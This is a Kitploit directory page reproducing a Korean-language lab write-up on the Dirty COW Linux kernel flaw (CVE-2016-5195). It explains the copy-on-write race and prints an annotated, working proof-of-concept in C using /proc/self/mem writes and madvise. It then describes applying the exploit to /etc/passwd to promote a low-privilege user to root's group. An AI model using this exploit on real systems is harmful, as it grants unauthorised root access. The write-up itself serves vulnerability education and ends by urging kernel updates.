Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Research-CVE-2016-5195 | Kitploit
도구/GitHubGitHub/h1n4mx0z/research-cve-2016-5195
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubh1n4mx0z/research-cve-2016-5195

Research-CVE-2016-5195

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2016-5195(Dirty Cow)

Cow는 copy-on-write를 뜻하며, 2007년부터 Linux Kernel에 존재해 왔고 2016년에 발견되었습니다. 이 CVE와 관련된 랩(lab)을 진행 중이라, 이 기회에 그것에 대한 분석 글도 작성해 봅니다.

1. 서론

커널은 root 권한으로 실행되기 때문에 권한 상승 취약점으로 악용될 수 있습니다. 즉, 공격자는 Race condition을 이용해 하위 권한 사용자에서 root 권한을 획득할 수 있다는 뜻입니다.

2. 그러면 race condition이란 무엇인가?

운영체제 이론 수업에서 방금 배운 것처럼, Race condition은 두 개 이상의 프로세스가 하나의 자원에 동시에 접근하여 올바르게 동기화되지 않은 상태에서 해당 자원에 대한 연산을 수행할 때 발생합니다. 이때 그 연산들의 결과는 올바르지 않거나 예상과 다를 수 있습니다.

이해를 돕기 위해 간단한 예시를 보겠습니다:

root@kitploit:~
a = "h1n4m";   # ta gán cho a một chuỗi 
b = a;         # gán tiếp cho b = a

여기서 변수는 2개이지만, 둘 다 동일한 메모리 객체를 가리킵니다. 이는 운영체제의 메커니즘입니다. 동일한 값을 위해 메모리 공간을 두 배로 차지할 필요가 없기 때문입니다. 운영체제는 복사본이 수정될 때까지 기다렸다가, 그때서야 나머지 변수를 위한 별도의 메모리를 할당합니다.

root@kitploit:~
b += "dep trai vcl"   # sử đổi giá trị biến b, cụ thể là thêm một chuỗi nối vào sau

이 시점에서 운영체제는 다음 작업을 수행합니다:

  1. 수정된 새 변수를 위해 메모리를 할당합니다.
  2. 복사된 객체의 원본 내용을 읽습니다.
  3. 그 객체에 필요한 변경을 수행합니다. 즉, "dep trai vcl"을 추가합니다.
  4. 수정된 내용을 새로 할당된 메모리 공간에 기록합니다.

Race condition은 2단계와 4단계 사이에서 발생하며, 메모리 매핑이 새로 할당된 공간 대신 원래 메모리 공간에 수정된 내용을 기록하도록 속입니다. 이로 인해 우리는 a에 대해 읽기 전용 권한만 가지고 있음에도 b가 아닌 원래 객체인 a에 속한 메모리를 수정하게 됩니다.

3. Dirty cow

이제 핵심 부분입니다. exploit의 아이디어는 무엇일까요? 우리가 알고 있듯이 사용자의 권한은 /etc/passwd 파일에 정의되며 이 파일은 root만 수정할 수 있습니다. 그렇다면 읽기 권한만 가진 사용자가 Race condition을 이용해 /etc/passwd 파일의 내용을 변경할 수 있을까요?

대답은 그렇다입니다. 먼저 더 간단한 예제에 적용된 exploit 코드를 분석해 보겠습니다: 출처: https://tsitsiflora.medium.com/dirty-cow-vulnerability-an-analysis-fdf50243dc6

먼저 권한이 644인 dirtycow 파일을 만듭니다(root만 쓰기 권한이 있습니다). 파일에 "Hello"를 쓰려고 하면 Permission denied가 발생하는 것을 볼 수 있습니다.

공격 대상이 준비되었으니, 이제 exploit 코드입니다:

root@kitploit:~
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
    pthread_t pth1,pth2;
    struct stat st;
    int file_size;

    int f=open("dirtycow", O_RDONLY);

    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

    char *position = strstr(map,"h1n4m");                        

    pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
    pthread_create(&pth2, NULL, writeThread, position);             

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
    return 0;
}

이 익스플로잇은 세 개의 스레드로 구성됩니다: 메인 스레드, writeThread, 그리고 madvise 스레드입니다.

메인 스레드는 파일을 메모리에 매핑하는 역할을 합니다:

root@kitploit:~
    // Trước tiên chúng ta mở tệp của mình (lưu ý rằng nó đang được mở ở chế độ chỉ đọc) 
    int f=open("dirtycow", O_RDONLY);

    // Sau đó chúng ta map nó vào COW memory bằng MAP PRIVATE
    fstat(f, &st);
    file_size = st.st_size;
    map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

교체할 패턴의 위치를 찾습니다:

root@kitploit:~
    // Sử dụng hàm strstr để tìm vị trí của "h1n4m" trong bộ nhớ được ánh xạ 
    char *position = strstr(map,"h1n4m");

그런 다음 writeThread와 madviseThread 두 스레드를 시작합니다.

root@kitploit:~
pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
    pthread_create(&pth2, NULL, writeThread, position);             

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

writeThread:

root@kitploit:~
    void *writeThread(void *arg)
    {
        char *content= "h4ck3r";
        off_t offset = (off_t) arg;
    
        int f=open("/proc/self/mem", O_RDWR);
        while(1) {
            // Đưa con trỏ đến chính xác vị trí cần thay đổi
            lseek(f, offset, SEEK_SET);
            // Thay đổi trên memory
            write(f, content, strlen(content));
        }
    }

이 스레드의 작업은 h1n4m 문자열을 h4ck3r(또는 원하는 무엇이든 :> 위험하죠?)로 바꾸는 것입니다. 하지만 map memory는 copy-on-write 방식이므로 이 스레드는 map memory의 복사본에만 내용을 수정할 수 있고 파일에는 어떤 변경도 일으키지 않습니다??

그렇다면 위험한 점은 무엇일까요? 나머지 스레드를 계속 살펴보겠습니다.

madviseThread

root@kitploit:~
    void *madviseThread(void *arg)
    {
        int file_size = (int) arg;
        while(1){
            madvise(map, file_size, MADV_DONTNEED);
        }
    }

이 스레드는 map memory의 복사본을 제거하는 한 가지 작업만 수행합니다. 따라서 포인터가 원래의 map memory, 즉 처음에 매핑된 메모리를 다시 가리킬 수 있게 됩니다.

만약 이 두 스레드가 순차적으로, 즉 non-multithread 방식으로 실행된다면, 변경 사항은 항상 map memory의 복사본에만 영향을 미치며 권한이 설정된 파일에는 아무런 위협도 되지 않습니다. 하지만 이 두 스레드가 시스템에 의해 동시에, 즉 멀티스레드 방식으로 호출되면 어떤 일이 벌어질까요? 정확합니다, Race condition입니다. 시스템이 혼동하여 포인터가 원래의 map memory 자체를 가리키게 되어, 쓰기 권한이 없음에도 root의 파일 데이터를 수정하는 순간이 생깁니다. 그러나 운영체제가 항상 그런 실수를 하는 것은 아니므로 두 스레드를 무한 루프로 실행하는 것입니다. 시스템이 단 한 번만 혼동해도 모든 일은 우리가 계산한 대로 이루어집니다.

익스플로잇 해보자

본론으로 돌아와서, /etc/passwd 파일은 root만 수정할 수 있는 파일입니다. 위에서 배운 지식을 활용하여 /etc/passwd 파일에서 lowuser의 group을 수정해 보겠습니다.

  • PoC low user일 때는 dirtycow 파일에 대한 쓰기 권한이 없습니다. Lowuser가 root와 동일한 group으로 승격되었습니다 (1001->0000).

4. 요약

이번 분석을 통해 저는 CVE-2016-5195, 일명 'Dirty Cow(더러운 소)'를 소개해 드렸습니다. group을 수정하는 것 외에도 시스템에 새 user를 통째로 추가하는 것도 가능하며, 방법은 동일합니다. 이 CVE는 아주 오래전에 나왔지만, 여전히 오래된 kernel을 사용하는 많은 시스템이 영향을 받고 있습니다. 이 글이 여러분께 CVE를 개괄적으로 이해하고 자신의 시스템을 보호하는 방법을 아는 데 도움이 되길 바랍니다. (kernel을 업데이트하세요!!!!!)

그리고 저는 h1n4m입니다. Peaceeeee.

도구 다운로드